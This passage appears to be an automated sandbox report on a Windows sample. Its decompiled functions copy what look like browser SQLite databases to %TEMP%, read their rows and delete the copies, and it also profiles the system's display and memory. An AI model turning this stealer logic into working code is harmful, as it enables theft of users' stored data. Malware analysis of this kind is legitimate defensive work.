								_t154 =  *0x41b1dc; // 0x41ca30
								_t156 =  *((intOrPtr*)( *_t154))(_v20, 3,  *((intOrPtr*)( *_t150))(_v20, 3));
								_pop(_t210);
								E0040A610(_t156,  &_v48, _t210);
								E00403D88( &_v76, _v48);
								_t161 =  *0x41b1dc; // 0x41ca30
								E00403CF4( &_v80,  *((intOrPtr*)( *_t161))(_v20, 0, 0x4115ec, _v76, _v28));
								_t167 =  *0x41b1dc; // 0x41ca30
								E00403CF4( &_v84,  *((intOrPtr*)( *_t167))(_v20, 1, 0x4115ec, _v80));
								_t173 =  *0x41b1dc; // 0x41ca30
								_t175 =  *((intOrPtr*)( *_t173))(_v20, 2, 0x4115f8, _v84);
								_t223 = _t223 + 0x28;
								E00403CF4( &_v88, _t175);
								_push(_v88);
								_push(L"\r\n\r\n");
								E00403E78();
								_t179 =  *0x41b1cc; // 0x41b0b4
								 *_t179 =  *_t179 + 1;
								__eflags =  *_t179;
							}
						}
					}
					L11:
					_t106 =  *0x41b46c; // 0x41ca38
					 *((intOrPtr*)( *_t106))(_v20);
					_t110 =  *0x41b20c; // 0x41ca24
					 *((intOrPtr*)( *_t110))(_v16);
					_pop(_t203);
					 *[fs:eax] = _t203;
					E00403C18(_v12, _v28);
					DeleteFileW(E00403D98(_v44));
				} else {
					_pop(_t216);
					 *[fs:eax] = _t216;
				}
				_pop(_t205);
				 *[fs:eax] = _t205;
				_push(E004115B2);
				E00403BF4( &_v88, 5);
				E004034E4( &_v68);
				E00403BF4( &_v64, 4);
				E004034E4( &_v48);
				E00403BF4( &_v44, 2);
				E004034E4( &_v36);
				E00403BF4( &_v32, 2);
				return E00403BDC( &_v8);
			}

0x004112c0
0x004112c0
0x004112c0
0x004112c2
0x004112c4
0x004112c6
0x004112c8
0x004112cd
0x004112cf
0x004112d1
0x004112d3
0x004112d8
0x004112d8
0x004112da
0x004112dc
0x004112dc
0x004112dc
0x004112df
0x004112e0
0x004112e1
0x004112e2
0x004112e3
0x004112e6
0x004112ec
0x004112f3
0x004112f4
0x004112f9
0x004112fc
0x00411302
0x00411309
0x0041130a
0x0041130f
0x00411312
0x0041131d
0x00411322
0x00411328
0x0041132d
0x00411330
0x0041133d
0x00411348
0x00411355
0x0041135a
0x0041135d
0x00411362
0x0041136d
0x00411378
0x00411382
0x00411391
0x0041139c
0x004113a7
0x004113b2
0x004113c1
0x004113dd
0x004113e4
0x004113e6
0x004113e9
0x004113eb
0x004113fb
0x0041140c
0x00411413
0x00411415
0x00411418
0x0041141a
0x004114e9
0x004114ed
0x004114f4
0x004114f7
0x004114fa
0x00000000
0x00000000
0x0041142b
0x0041143e
0x00411445
0x0041144d
0x0041144e
0x0041145c
0x0041146f
0x00411480
0x00411493
0x004114a4
0x004114b7
0x004114be
0x004114c0
0x004114c8
0x004114cd
0x004114d0
0x004114dd
0x004114e2
0x004114e7
0x004114e7
0x004114e7
0x004114e9
0x0041141a
0x00411500
0x00411504
0x0041150b
0x00411512
0x00411519
0x0041151e
0x00411521
0x00411536
0x00411544
0x004113c3
0x004113c5
0x004113c8
0x004113c8
0x0041154b
0x0041154e
0x00411551
0x0041155e
0x00411566
0x00411573
0x0041157b
0x00411588
0x00411590
0x0041159d
0x004115aa

APIs

GetTickCount.KERNEL32 ref: 00411315
CopyFileW.KERNEL32(00000000,00000000,000000FF,?,004115E4,?,.tmp,?,?,00000000,00411526,?,00000000,004115AB,?,00000000), ref: 00411391

Strings

.tmp, xrefs: 00411330
%TEMP%, xrefs: 00411350

Memory Dump Source

Source File: 00000003.00000002.283965391.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: CopyCountFileTick
String ID: %TEMP%$.tmp
API String ID: 3448371392-3650661790
Opcode ID: 8b025c809ca5fcf52eb203aa6c1f0ec38d1a9fc9c4deca7b9c8dce6ee129aaff
Instruction ID: e7bb21d7818b23da26e47d5e8aee7b9a5bdfdedc2a4558b21973e4c2dc324f20
Opcode Fuzzy Hash: 8b025c809ca5fcf52eb203aa6c1f0ec38d1a9fc9c4deca7b9c8dce6ee129aaff
Instruction Fuzzy Hash: 01413571904108AFDB01FFA2D842ACDBBB9EF45309F51447BF505B36A2D63CAE068A24

Uniqueness

Uniqueness Score: -1.00%

Function 004112C8, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 109
fileCOMMON

Download Yara Rule

C-Code - Quality: 43%

			E004112C8(signed int __eax, void* __ebx, intOrPtr __edx, void* __edi, void* __esi) {
				signed int _v8;
				intOrPtr _v12;
				char _v16;
				char _v20;
				char _v24;
				char _v28;
				char _v32;
				char _v36;
				char _v40;
				char _v44;
				char _v48;
				char _v52;
				char _v56;
				intOrPtr _v60;
				char _v64;
				char _v68;
				char _v72;
				char _v76;
				char _v80;
				char _v84;
				char _v88;
				intOrPtr _v117;
				signed int _t66;
				WCHAR* _t86;
				intOrPtr* _t101;
				intOrPtr _t103;
				intOrPtr* _t105;
				intOrPtr* _t109;
				intOrPtr* _t137;
				intOrPtr* _t141;
				intOrPtr _t143;
				intOrPtr* _t145;
				void* _t147;
				intOrPtr* _t149;
				intOrPtr* _t153;
				void* _t155;
				intOrPtr* _t160;
				intOrPtr* _t166;
				intOrPtr* _t172;
				void* _t174;
				intOrPtr* _t178;
				void* _t181;
				intOrPtr _t202;
				intOrPtr _t204;
				void* _t209;
				intOrPtr _t215;
				intOrPtr _t219;
				intOrPtr _t220;
				void* _t221;
				void* _t222;

				_t217 = __esi;
				_t180 = __ebx;
				_t66 = __eax | 0x00000a00;
				 *_t66 =  *_t66 + _t66;
				_v117 = _v117 + __edx;
				_t219 = _t220;
				_t181 = 0xa;
				do {
					_push(0);
					_push(0);
					_t181 = _t181 - 1;
					_t228 = _t181;
				} while (_t181 != 0);
				_push(_t181);
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_v12 = __edx;
				_v8 = _t66;
				E00404150( &_v8);
				_push(_t219);
				_push(0x4115ab);
				_push( *[fs:eax]);
				 *[fs:eax] = _t220;
				E00403BDC( &_v28);
				_push(_t219);
				_push(0x411526);
				_push( *[fs:eax]);
				 *[fs:eax] = _t220;
				E0040709C(GetTickCount(), __ebx,  &_v52, __esi, _t228);
				_push(_v52);
				E00406FDC( &_v56, __ebx, __edi, __esi, _t228);
				_push(_v56);
				_push(L".tmp");
				E00403E78();
				E004078D8(_v8, _t180,  &_v40, _t228);
				E004062FC(L"%TEMP%",  &_v64, _t228);
				_push(_v64);
				_push(0x4115e4);
				_push(_v32);
				E00403E78();
				E004078D8(_v60, _t180,  &_v44, _t228);
				_t86 = E00403D98(_v44);
				CopyFileW(E00403D98(_v40), _t86, 0xffffffff);
				E0040377C( &_v68, _v44);
				E00404B58(_v68, _t180, _t181,  &_v36, _t217, _t228);
				E00403D88( &_v72, _v36);
				if(E0040776C(_v72, _t180, _t181) != 0) {
					_t101 =  *0x41b140; // 0x41ca20
					_t103 =  *((intOrPtr*)( *_t101))(E00403990(_v36),  &_v16);
					_t221 = _t220 + 8;
					__eflags = _t103;
					if(_t103 == 0) {
						_t137 =  *0x41b390; // 0x41c934
						_t141 =  *0x41b2d4; // 0x41ca28
						_t143 =  *((intOrPtr*)( *_t141))(_v16, E00403990( *_t137), 0xffffffff,  &_v20,  &_v24);
						_t222 = _t221 + 0x14;
						__eflags = _t143;
						if(_t143 == 0) {
							while(1) {
								_t145 =  *0x41b384; // 0x41ca2c
								_t147 =  *((intOrPtr*)( *_t145))(_v20);
								__eflags = _t147 - 0x64;
								if(_t147 != 0x64) {
									goto L10;
								}
								_t149 =  *0x41b414; // 0x41ca34
								_t153 =  *0x41b1dc; // 0x41ca30
								_t155 =  *((intOrPtr*)( *_t153))(_v20, 3,  *((intOrPtr*)( *_t149))(_v20, 3));
								_pop(_t209);
								E0040A610(_t155,  &_v48, _t209);
								E00403D88( &_v76, _v48);
								_t160 =  *0x41b1dc; // 0x41ca30
								E00403CF4( &_v80,  *((intOrPtr*)( *_t160))(_v20, 0, 0x4115ec, _v76, _v28));
								_t166 =  *0x41b1dc; // 0x41ca30
								E00403CF4( &_v84,  *((intOrPtr*)( *_t166))(_v20, 1, 0x4115ec, _v80));
								_t172 =  *0x41b1dc; // 0x41ca30
								_t174 =  *((intOrPtr*)( *_t172))(_v20, 2, 0x4115f8, _v84);
								_t222 = _t222 + 0x28;
								E00403CF4( &_v88, _t174);
								_push(_v88);
								_push(L"\r\n\r\n");
								E00403E78();
								_t178 =  *0x41b1cc; // 0x41b0b4
								 *_t178 =  *_t178 + 1;
								__eflags =  *_t178;
							}
						}
					}
					L10:
					_t105 =  *0x41b46c; // 0x41ca38
					 *((intOrPtr*)( *_t105))(_v20);
					_t109 =  *0x41b20c; // 0x41ca24
					 *((intOrPtr*)( *_t109))(_v16);
					_pop(_t202);
					 *[fs:eax] = _t202;
					E00403C18(_v12, _v28);
					DeleteFileW(E00403D98(_v44));
				} else {
					_pop(_t215);
					 *[fs:eax] = _t215;
				}
				_pop(_t204);
				 *[fs:eax] = _t204;
				_push(E004115B2);
				E00403BF4( &_v88, 5);
				E004034E4( &_v68);
				E00403BF4( &_v64, 4);
				E004034E4( &_v48);
				E00403BF4( &_v44, 2);
				E004034E4( &_v36);
				E00403BF4( &_v32, 2);
				return E00403BDC( &_v8);
			}

0x004112c8
0x004112c8
0x004112c8
0x004112cd
0x004112cf
0x004112d1
0x004112d3
0x004112d8
0x004112d8
0x004112da
0x004112dc
0x004112dc
0x004112dc
0x004112df
0x004112e0
0x004112e1
0x004112e2
0x004112e3
0x004112e6
0x004112ec
0x004112f3
0x004112f4
0x004112f9
0x004112fc
0x00411302
0x00411309
0x0041130a
0x0041130f
0x00411312
0x0041131d
0x00411322
0x00411328
0x0041132d
0x00411330
0x0041133d
0x00411348
0x00411355
0x0041135a
0x0041135d
0x00411362
0x0041136d
0x00411378
0x00411382
0x00411391
0x0041139c
0x004113a7
0x004113b2
0x004113c1
0x004113dd
0x004113e4
0x004113e6
0x004113e9
0x004113eb
0x004113fb
0x0041140c
0x00411413
0x00411415
0x00411418
0x0041141a
0x004114e9
0x004114ed
0x004114f4
0x004114f7
0x004114fa
0x00000000
0x00000000
0x0041142b
0x0041143e
0x00411445
0x0041144d
0x0041144e
0x0041145c
0x0041146f
0x00411480
0x00411493
0x004114a4
0x004114b7
0x004114be
0x004114c0
0x004114c8
0x004114cd
0x004114d0
0x004114dd
0x004114e2
0x004114e7
0x004114e7
0x004114e7
0x004114e9
0x0041141a
0x00411500
0x00411504
0x0041150b
0x00411512
0x00411519
0x0041151e
0x00411521
0x00411536
0x00411544
0x004113c3
0x004113c5
0x004113c8
0x004113c8
0x0041154b
0x0041154e
0x00411551
0x0041155e
0x00411566
0x00411573
0x0041157b
0x00411588
0x00411590
0x0041159d
0x004115aa

APIs

GetTickCount.KERNEL32 ref: 00411315
CopyFileW.KERNEL32(00000000,00000000,000000FF,?,004115E4,?,.tmp,?,?,00000000,00411526,?,00000000,004115AB,?,00000000), ref: 00411391

Strings

.tmp, xrefs: 00411330
%TEMP%, xrefs: 00411350

Memory Dump Source

Source File: 00000003.00000002.283965391.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: CopyCountFileTick
String ID: %TEMP%$.tmp
API String ID: 3448371392-3650661790
Opcode ID: c1a497b4b0d046b719842a9b981a532eae9f015e020314dad747ec1315daf45e
Instruction ID: 8afa6536208aa5b6f57682845dada9e2518f3e9b5e83f9eef4c4991f65faefc0
Opcode Fuzzy Hash: c1a497b4b0d046b719842a9b981a532eae9f015e020314dad747ec1315daf45e
Instruction Fuzzy Hash: 7F414631900108AFDB01FF92D842ACDFBB9EF44309F50447BF504B36A2D63CAE058A14

Uniqueness

Uniqueness Score: -1.00%

Function 0041102C, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 103
fileCOMMON

Download Yara Rule

C-Code - Quality: 45%

			E0041102C(intOrPtr* __eax, void* __ebx, intOrPtr __edx, void* __edi, void* __esi) {
				signed int _v8;
				intOrPtr _v12;
				char _v16;
				char _v20;
				char _v24;
				char _v28;
				char _v32;
				char _v36;
				char _v40;
				char _v44;
				char _v48;
				char _v52;
				intOrPtr _v56;
				char _v60;
				char _v64;
				char _v68;
				char _v72;
				char _v76;
				signed int _t53;
				signed int _t54;
				WCHAR* _t74;
				intOrPtr* _t89;
				void* _t91;
				intOrPtr* _t93;
				intOrPtr* _t97;
				intOrPtr* _t121;
				intOrPtr* _t125;
				void* _t127;
				intOrPtr* _t129;
				void* _t131;
				intOrPtr* _t133;
				intOrPtr* _t139;
				void* _t141;
				void* _t147;
				intOrPtr _t167;
				intOrPtr _t169;
				intOrPtr _t176;
				intOrPtr _t180;
				intOrPtr _t181;
				void* _t182;
				void* _t183;

				_t178 = __esi;
				_t146 = __ebx;
				_t53 = __eax +  *__eax;
				 *_t53 =  *_t53 + _t53;
				_t54 = _t53 | 0x5500000a;
				_t180 = _t181;
				_t147 = 9;
				do {
					_push(0);
					_push(0);
					_t147 = _t147 - 1;
					_t187 = _t147;
				} while (_t147 != 0);
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_v12 = __edx;
				_v8 = _t54;
				E00404150( &_v8);
				_push(_t180);
				_push(0x411282);
				_push( *[fs:eax]);
				 *[fs:eax] = _t181;
				E00403BDC( &_v28);
				_push(_t180);
				_push(0x411212);
				_push( *[fs:eax]);
				 *[fs:eax] = _t181;
				E0040709C(GetTickCount(), __ebx,  &_v48, __esi, _t187);
				_push(_v48);
				E00406FDC( &_v52, __ebx, __edi, __esi, _t187);
				_push(_v52);
				_push(L".tmp");
				E00403E78();
				E004078D8(_v8, _t146,  &_v40, _t187);
				E004062FC(L"%TEMP%",  &_v60, _t187);
				_push(_v60);
				_push(E004112B8);
				_push(_v32);
				E00403E78();
				E004078D8(_v56, _t146,  &_v44, _t187);
				_t74 = E00403D98(_v44);
				CopyFileW(E00403D98(_v40), _t74, 0xffffffff);
				E0040377C( &_v64, _v44);
				E00404B58(_v64, _t146, _t147,  &_v36, _t178, _t187);
				E00403D88( &_v68, _v36);
				if(E0040776C(_v68, _t146, _t147) != 0) {
					_t89 =  *0x41b140; // 0x41ca20
					_t91 =  *((intOrPtr*)( *_t89))(E00403990(_v36),  &_v16);
					_t182 = _t181 + 8;
					__eflags = _t91;
					if(_t91 == 0) {
						_t121 =  *0x41b330; // 0x41c930
						_t125 =  *0x41b2d4; // 0x41ca28
						_t127 =  *((intOrPtr*)( *_t125))(_v16, E00403990( *_t121), 0xffffffff,  &_v20,  &_v24);
						_t183 = _t182 + 0x14;
						__eflags = _t127;
						if(_t127 == 0) {
							while(1) {
								_t129 =  *0x41b384; // 0x41ca2c
								_t131 =  *((intOrPtr*)( *_t129))(_v20);
								__eflags = _t131 - 0x64;
								if(_t131 != 0x64) {
									goto L11;
								}
								_t133 =  *0x41b1dc; // 0x41ca30
								E00403CF4( &_v72,  *((intOrPtr*)( *_t133))(_v20, 0, _v28));
								_t139 =  *0x41b1dc; // 0x41ca30
								_t141 =  *((intOrPtr*)( *_t139))(_v20, 1, E004112C0, _v72);
								_t183 = _t183 + 0x10;
								E00403CF4( &_v76, _t141);
								_push(_v76);
								_push(E004112C8);
								E00403E78();
							}
						}
					}
					L11:
					_t93 =  *0x41b46c; // 0x41ca38
					 *((intOrPtr*)( *_t93))(_v20);
					_t97 =  *0x41b20c; // 0x41ca24
					 *((intOrPtr*)( *_t97))(_v16);
					_pop(_t167);
					 *[fs:eax] = _t167;
					E00403C18(_v12, _v28);
					DeleteFileW(E00403D98(_v44));
				} else {
					_pop(_t176);
					 *[fs:eax] = _t176;
				}
				_pop(_t169);
				 *[fs:eax] = _t169;
				_push(E00411289);
				E00403BF4( &_v76, 3);
				E004034E4( &_v64);
				E00403BF4( &_v60, 6);
				E004034E4( &_v36);
				E00403BF4( &_v32, 2);
				return E00403BDC( &_v8);
			}

0x0041102c
0x0041102c
0x0041102c
0x0041102e
0x00411030
0x00411035
0x00411037
0x0041103c
0x0041103c
0x0041103e
0x00411040
0x00411040
0x00411040
0x00411043
0x00411044
0x00411045
0x00411046
0x00411049
0x0041104f
0x00411056
0x00411057
0x0041105c
0x0041105f
0x00411065
0x0041106c
0x0041106d
0x00411072
0x00411075
0x00411080
0x00411085
0x0041108b
0x00411090
0x00411093
0x004110a0
0x004110ab
0x004110b8
0x004110bd
0x004110c0
0x004110c5
0x004110d0
0x004110db
0x004110e5
0x004110f4
0x004110ff
0x0041110a
0x00411115
0x00411124
0x00411140
0x00411147
0x00411149
0x0041114c
0x0041114e
0x0041115e
0x0041116f
0x00411176
0x00411178
0x0041117b
0x0041117d
0x004111d9
0x004111dd
0x004111e4
0x004111e7
0x004111ea
0x00000000
0x00000000
0x0041118a
0x0041119b
0x004111ae
0x004111b5
0x004111b7
0x004111bf
0x004111c4
0x004111c7
0x004111d4
0x004111d4
0x004111d9
0x0041117d
0x004111ec
0x004111f0
0x004111f7
0x004111fe
0x00411205
0x0041120a
0x0041120d
0x00411222
0x00411230
0x00411126
0x00411128
0x0041112b
0x0041112b
0x00411237
0x0041123a
0x0041123d
0x0041124a
0x00411252
0x0041125f
0x00411267
0x00411274
0x00411281

APIs

GetTickCount.KERNEL32 ref: 00411078
CopyFileW.KERNEL32(00000000,00000000,000000FF,?,004112B8,?,.tmp,?,?,00000000,00411212,?,00000000,00411282,?,00000000), ref: 004110F4

Strings

%TEMP%, xrefs: 004110B3
.tmp, xrefs: 00411093

Memory Dump Source

Source File: 00000003.00000002.283965391.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: CopyCountFileTick
String ID: %TEMP%$.tmp
API String ID: 3448371392-3650661790
Opcode ID: 7334c5f461cf658640640d1d52cc0bd0a3ff0b1e0655c4320245804e77c3ea22
Instruction ID: 086439bef84ae03ebcf91c6f71c22103effc3d3d1ef1d95b9ffc13b6feb758dd
Opcode Fuzzy Hash: 7334c5f461cf658640640d1d52cc0bd0a3ff0b1e0655c4320245804e77c3ea22
Instruction Fuzzy Hash: 53315531904108AFDB01FFA1D942ADDBBB9EF49304F50447BF504B36A2D738AE069A58

Uniqueness

Uniqueness Score: -1.00%

Function 00411030, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 101
fileCOMMON

Download Yara Rule

C-Code - Quality: 45%

			E00411030(signed int __eax, void* __ebx, intOrPtr __edx, void* __edi, void* __esi) {
				signed int _v8;
				intOrPtr _v12;
				char _v16;
				char _v20;
				char _v24;
				char _v28;
				char _v32;
				char _v36;
				char _v40;
				char _v44;
				char _v48;
				char _v52;
				intOrPtr _v56;
				char _v60;
				char _v64;
				char _v68;
				char _v72;
				char _v76;
				signed int _t53;
				WCHAR* _t73;
				intOrPtr* _t88;
				void* _t90;
				intOrPtr* _t92;
				intOrPtr* _t96;
				intOrPtr* _t120;
				intOrPtr* _t124;
				void* _t126;
				intOrPtr* _t128;
				void* _t130;
				intOrPtr* _t132;
				intOrPtr* _t138;
				void* _t140;
				void* _t146;
				intOrPtr _t166;
				intOrPtr _t168;
				intOrPtr _t175;
				intOrPtr _t179;
				intOrPtr _t180;
				void* _t181;
				void* _t182;

				_t177 = __esi;
				_t145 = __ebx;
				_t53 = __eax | 0x5500000a;
				_t179 = _t180;
				_t146 = 9;
				do {
					_push(0);
					_push(0);
					_t146 = _t146 - 1;
					_t185 = _t146;
				} while (_t146 != 0);
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_v12 = __edx;
				_v8 = _t53;
				E00404150( &_v8);
				_push(_t179);
				_push(0x411282);
				_push( *[fs:eax]);
				 *[fs:eax] = _t180;
				E00403BDC( &_v28);
				_push(_t179);
				_push(0x411212);
				_push( *[fs:eax]);
				 *[fs:eax] = _t180;
				E0040709C(GetTickCount(), __ebx,  &_v48, __esi, _t185);
				_push(_v48);
				E00406FDC( &_v52, __ebx, __edi, __esi, _t185);
				_push(_v52);
				_push(L".tmp");
				E00403E78();
				E004078D8(_v8, _t145,  &_v40, _t185);
				E004062FC(L"%TEMP%",  &_v60, _t185);
				_push(_v60);
				_push(E004112B8);
				_push(_v32);
				E00403E78();
				E004078D8(_v56, _t145,  &_v44, _t185);
				_t73 = E00403D98(_v44);
				CopyFileW(E00403D98(_v40), _t73, 0xffffffff);
				E0040377C( &_v64, _v44);
				E00404B58(_v64, _t145, _t146,  &_v36, _t177, _t185);
				E00403D88( &_v68, _v36);
				if(E0040776C(_v68, _t145, _t146) != 0) {
					_t88 =  *0x41b140; // 0x41ca20
					_t90 =  *((intOrPtr*)( *_t88))(E00403990(_v36),  &_v16);
					_t181 = _t180 + 8;
					__eflags = _t90;
					if(_t90 == 0) {
						_t120 =  *0x41b330; // 0x41c930
						_t124 =  *0x41b2d4; // 0x41ca28
						_t126 =  *((intOrPtr*)( *_t124))(_v16, E00403990( *_t120), 0xffffffff,  &_v20,  &_v24);
						_t182 = _t181 + 0x14;
						__eflags = _t126;
						if(_t126 == 0) {
							while(1) {
								_t128 =  *0x41b384; // 0x41ca2c
								_t130 =  *((intOrPtr*)( *_t128))(_v20);
								__eflags = _t130 - 0x64;
								if(_t130 != 0x64) {
									goto L10;
								}
								_t132 =  *0x41b1dc; // 0x41ca30
								E00403CF4( &_v72,  *((intOrPtr*)( *_t132))(_v20, 0, _v28));
								_t138 =  *0x41b1dc; // 0x41ca30
								_t140 =  *((intOrPtr*)( *_t138))(_v20, 1, E004112C0, _v72);
								_t182 = _t182 + 0x10;
								E00403CF4( &_v76, _t140);
								_push(_v76);
								_push(E004112C8);
								E00403E78();
							}
						}
					}
					L10:
					_t92 =  *0x41b46c; // 0x41ca38
					 *((intOrPtr*)( *_t92))(_v20);
					_t96 =  *0x41b20c; // 0x41ca24
					 *((intOrPtr*)( *_t96))(_v16);
					_pop(_t166);
					 *[fs:eax] = _t166;
					E00403C18(_v12, _v28);
					DeleteFileW(E00403D98(_v44));
				} else {
					_pop(_t175);
					 *[fs:eax] = _t175;
				}
				_pop(_t168);
				 *[fs:eax] = _t168;
				_push(E00411289);
				E00403BF4( &_v76, 3);
				E004034E4( &_v64);
				E00403BF4( &_v60, 6);
				E004034E4( &_v36);
				E00403BF4( &_v32, 2);
				return E00403BDC( &_v8);
			}

0x00411030
0x00411030
0x00411030
0x00411035
0x00411037
0x0041103c
0x0041103c
0x0041103e
0x00411040
0x00411040
0x00411040
0x00411043
0x00411044
0x00411045
0x00411046
0x00411049
0x0041104f
0x00411056
0x00411057
0x0041105c
0x0041105f
0x00411065
0x0041106c
0x0041106d
0x00411072
0x00411075
0x00411080
0x00411085
0x0041108b
0x00411090
0x00411093
0x004110a0
0x004110ab
0x004110b8
0x004110bd
0x004110c0
0x004110c5
0x004110d0
0x004110db
0x004110e5
0x004110f4
0x004110ff
0x0041110a
0x00411115
0x00411124
0x00411140
0x00411147
0x00411149
0x0041114c
0x0041114e
0x0041115e
0x0041116f
0x00411176
0x00411178
0x0041117b
0x0041117d
0x004111d9
0x004111dd
0x004111e4
0x004111e7
0x004111ea
0x00000000
0x00000000
0x0041118a
0x0041119b
0x004111ae
0x004111b5
0x004111b7
0x004111bf
0x004111c4
0x004111c7
0x004111d4
0x004111d4
0x004111d9
0x0041117d
0x004111ec
0x004111f0
0x004111f7
0x004111fe
0x00411205
0x0041120a
0x0041120d
0x00411222
0x00411230
0x00411126
0x00411128
0x0041112b
0x0041112b
0x00411237
0x0041123a
0x0041123d
0x0041124a
0x00411252
0x0041125f
0x00411267
0x00411274
0x00411281

APIs

GetTickCount.KERNEL32 ref: 00411078
CopyFileW.KERNEL32(00000000,00000000,000000FF,?,004112B8,?,.tmp,?,?,00000000,00411212,?,00000000,00411282,?,00000000), ref: 004110F4

Strings

%TEMP%, xrefs: 004110B3
.tmp, xrefs: 00411093

Memory Dump Source

Source File: 00000003.00000002.283965391.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: CopyCountFileTick
String ID: %TEMP%$.tmp
API String ID: 3448371392-3650661790
Opcode ID: 4f8e67243287949893c35c2c73810bd2e217d777a31600725d2df3b5b3d23b75
Instruction ID: c9e68ca033382928e780bbb2ca05a045859d404701f4d2a11d4424a3b4ff7e89
Opcode Fuzzy Hash: 4f8e67243287949893c35c2c73810bd2e217d777a31600725d2df3b5b3d23b75
Instruction Fuzzy Hash: FA313531900109AEDB01FF91D942ADDBBB9EF48305F50457BF504B26A2D738AE059A58

Uniqueness

Uniqueness Score: -1.00%

Function 00415D60, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 52
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 21%

			E00415D60(intOrPtr* __eax, void* __ebx, void* __edi, void* __esi) {
				_Unknown_base(*)()* _v8;
				char _v140;
				char _v176;
				char _v180;
				void* _t23;
				intOrPtr _t30;
				intOrPtr* _t34;
				void* _t37;

				_v180 = 0;
				_t34 = __eax;
				_push(_t37);
				_push(0x415e07);
				_push( *[fs:eax]);
				 *[fs:eax] = _t37 + 0xffffff50;
				_v8 = GetProcAddress(LoadLibraryA("user32.dll"), "EnumDisplayDevicesA");
				_v176 = 0xa8;
				_t23 = 0;
				while(1) {
					_push(0);
					_push( &_v176);
					_push(_t23);
					_push(0);
					if(_v8() == 0) {
						break;
					}
					_t23 = _t23 + 1;
					_push( *_t34);
					E00403748( &_v180, 0x80,  &_v140);
					_push(_v180);
					_push(E00415E40);
					E00403850();
				}
				_pop(_t30);
				 *[fs:eax] = _t30;
				_push(E00415E0E);
				return E004034E4( &_v180);
			}

0x00415d6e
0x00415d74
0x00415d78
0x00415d79
0x00415d7e
0x00415d81
0x00415d99
0x00415d9c
0x00415da8
0x00415ddc
0x00415ddc
0x00415de3
0x00415de4
0x00415de5
0x00415dec
0x00000000
0x00000000
0x00415dac
0x00415dad
0x00415dc0
0x00415dc5
0x00415dcb
0x00415dd7
0x00415dd7
0x00415df0
0x00415df3
0x00415df6
0x00415e06

APIs

LoadLibraryA.KERNEL32(user32.dll,EnumDisplayDevicesA,00000000,00415E07,?,-00000001,?,?,?,00415F5F,Video Info,?,004160A8,?,GetRAM: ,?), ref: 00415D8E
GetProcAddress.KERNEL32(00000000,user32.dll), ref: 00415D94

Strings

EnumDisplayDevicesA, xrefs: 00415D84
user32.dll, xrefs: 00415D89

Memory Dump Source

Source File: 00000003.00000002.283965391.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AddressLibraryLoadProc
String ID: EnumDisplayDevicesA$user32.dll
API String ID: 2574300362-2278183399
Opcode ID: 2be43a5cda4d26b9d11b13e023969f73649a0ac519f84c8eab0c2f78561c4bb4
Instruction ID: 9dd9bdf3a8bde6cf78cd03fc344b6578603246f1cfb7de35a5983435c2d557c6
Opcode Fuzzy Hash: 2be43a5cda4d26b9d11b13e023969f73649a0ac519f84c8eab0c2f78561c4bb4
Instruction Fuzzy Hash: 3901A571A00708AEE7209F62CC41BDB77ADEBC5714F5180BAF508E2180DA785F408A69

Uniqueness

Uniqueness Score: -1.00%

Function 00401870, Relevance: 6.0, APIs: 4, Instructions: 48
memoryCOMMON

Download Yara Rule

C-Code - Quality: 67%

			E00401870() {
				signed int _t13;
				intOrPtr _t19;
				intOrPtr _t20;
				intOrPtr _t23;

				_push(_t23);
				_push(E00401926);
				_push( *[fs:edx]);
				 *[fs:edx] = _t23;
				_push(0x41c5b4);
				L004011C4();
				if( *0x41c035 != 0) {
					_push(0x41c5b4);
					L004011CC();
				}
				E00401234(0x41c5d4);
				E00401234(0x41c5e4);
				E00401234(0x41c610);
				 *0x41c60c = LocalAlloc(0, 0xff8);
				if( *0x41c60c != 0) {
					_t13 = 3;
					do {
						_t20 =  *0x41c60c; // 0x0
						 *((intOrPtr*)(_t20 + _t13 * 4 - 0xc)) = 0;
						_t13 = _t13 + 1;
					} while (_t13 != 0x401);
					 *((intOrPtr*)(0x41c5f8)) = 0x41c5f4;
					 *0x41c5f4 = 0x41c5f4;
					 *0x41c600 = 0x41c5f4;
					 *0x41c5ac = 1;
				}
				_pop(_t19);
				 *[fs:eax] = _t19;
				_push(E0040192D);
				if( *0x41c035 != 0) {
					_push(0x41c5b4);
					L004011D4();
					return 0;
				}
				return 0;
			}

0x00401875
0x00401876
0x0040187b
0x0040187e
0x00401881
0x00401886
0x00401892
0x00401894
0x00401899
0x00401899
0x004018a3
0x004018ad
0x004018b7
0x004018c8
0x004018d4
0x004018d6
0x004018db
0x004018db
0x004018e3
0x004018e7
0x004018e8
0x004018f4
0x004018f7
0x004018f9
0x004018fe
0x004018fe
0x00401907
0x0040190a
0x0040190d
0x00401919
0x0040191b
0x00401920
0x00000000
0x00401920
0x00401925

APIs

RtlInitializeCriticalSection.KERNEL32(0041C5B4,00000000,00401926,?,?,0040210A,?,?,?,?,?,00401AF9,00401D3F,00401D64), ref: 00401886
RtlEnterCriticalSection.KERNEL32(0041C5B4,0041C5B4,00000000,00401926,?,?,0040210A,?,?,?,?,?,00401AF9,00401D3F,00401D64), ref: 00401899
LocalAlloc.KERNEL32(00000000,00000FF8,0041C5B4,00000000,00401926,?,?,0040210A,?,?,?,?,?,00401AF9,00401D3F,00401D64), ref: 004018C3
RtlLeaveCriticalSection.KERNEL32(0041C5B4,0040192D,00000000,00401926,?,?,0040210A,?,?,?,?,?,00401AF9,00401D3F,00401D64), ref: 00401920

Memory Dump Source

Source File: 00000003.00000002.283965391.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: CriticalSection$AllocEnterInitializeLeaveLocal
String ID:
API String ID: 730355536-0
Opcode ID: 099da0d79779097dabcbbe4e17eced4135313adf81f8614c79238fcf2f8b4282
